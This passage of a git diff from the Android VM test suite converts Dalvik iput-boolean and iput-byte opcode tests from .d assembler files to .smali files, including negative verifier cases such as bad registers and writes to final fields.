+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_3.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_3;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       iput-boolean v0, v3, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_3;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_30.d
deleted file mode 100644
index f68e154..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_30.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_30.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_30
-.super java/lang/Object
-
-.field public  st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iput_boolean/d/T_iput_boolean_30
-    const v1, 0
-    iput-boolean v1, v0, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_30.st_i1 Z
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_30.smali
new file mode 100644
index 0000000..4ba664b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_30.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_30.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_30;
+    const v1, 0
+    iput-boolean v1, v0, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_30;->st_i1:Z
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_31.d
deleted file mode 100644
index 039f79f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_31.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_31
-.super java/lang/Object
-
-.field public  st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    const v1, 0
-    iput-boolean v1, v0, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_31.st_i1 Z
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_31.smali
new file mode 100644
index 0000000..f410fff
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_31.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_31.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    const v1, 0
+    iput-boolean v1, v0, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_31;->st_i1:Z
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_4.d
deleted file mode 100644
index 5b0d440..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_4.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_4
-.super java/lang/Object
-
-.field public  st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-boolean v3, v2, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_4.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_4.smali
new file mode 100644
index 0000000..f7eb7cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_4.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_4;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-boolean v3, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_4;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_7.d
deleted file mode 100644
index 1c26b25..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_7.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_7
-.super java/lang/Object
-
-.field public static st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       iput-boolean v1, v2, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_7.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_7.smali
new file mode 100644
index 0000000..f7984f4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_7.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_7;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_7;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_8.d
deleted file mode 100644
index ce16612..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_8.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_8.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iput_boolean/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_boolean/TestStubs/<init>()V
-       const v1, 0
-       iput-boolean v1, v0, dot.junit.opcodes.iput_boolean.TestStubs.TestStubField Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_8.smali
new file mode 100644
index 0000000..c3629c4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_8.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_8.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_boolean/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_boolean/TestStubs;-><init>()V
+       const v1, 0
+       iput-boolean v1, v0, Ldot/junit/opcodes/iput_boolean/TestStubs;->TestStubField:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_9.d
deleted file mode 100644
index b740349..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_9.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_9
-.super java/lang/Object
-
-.field public st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       iput-boolean v1, v2, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_9noclass.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_9.smali
new file mode 100644
index 0000000..d623a44
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_9.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_9noclass;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_1.d
deleted file mode 100644
index 860157b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_1.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_1
-.super java/lang/Object
-
-.field public  st_i1 B
-.field protected  st_p1 B
-.field private  st_pvt1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public  getPvtField()B
-.limit regs 2
-
-       iget-byte v0, v1, dot.junit.opcodes.iput_byte.d.T_iput_byte_1.st_pvt1 B
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       iput-byte v1, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_1.st_i1 B
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_1.smali
new file mode 100644
index 0000000..6f18e8f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_1.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+.field protected  st_p1:B
+.field private  st_pvt1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public  getPvtField()B
+.registers 2
+
+       iget-byte v0, v1, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;->st_pvt1:B
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;->st_i1:B
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_10.d
deleted file mode 100644
index 279b2a2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_10.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_10
-.super java/lang/Object
-
-.field public st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-byte v1, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_10.st_i1N B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_10.smali
new file mode 100644
index 0000000..daca81c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_10.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_10;->st_i1N:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_11.d
deleted file mode 100644
index 9c80461..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_11.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_11.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iput_byte/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_byte/TestStubs/<init>()V
-
-       const v1, 1
-       iput-byte v1, v0, dot.junit.opcodes.iput_byte.TestStubs.TestStubFieldFinal B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_11.smali
new file mode 100644
index 0000000..e5f26c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_11.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_11.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_byte/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_byte/TestStubs;-><init>()V
+
+       const v1, 1
+       iput-byte v1, v0, Ldot/junit/opcodes/iput_byte/TestStubs;->TestStubFieldFinal:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_12.d
deleted file mode 100644
index ee0355b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_12.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_12
-.super java/lang/Object
-
-.field public  final st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       iput-byte v1, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_12.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_12.smali
new file mode 100644
index 0000000..9e58945
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_12.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_12;
+.super  Ljava/lang/Object;
+
+.field public  final st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_12;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_13.d
deleted file mode 100644
index 26cd104..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_13.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_13.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_13
-.super java/lang/Object
-
-.field public  st_i1 B
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 0
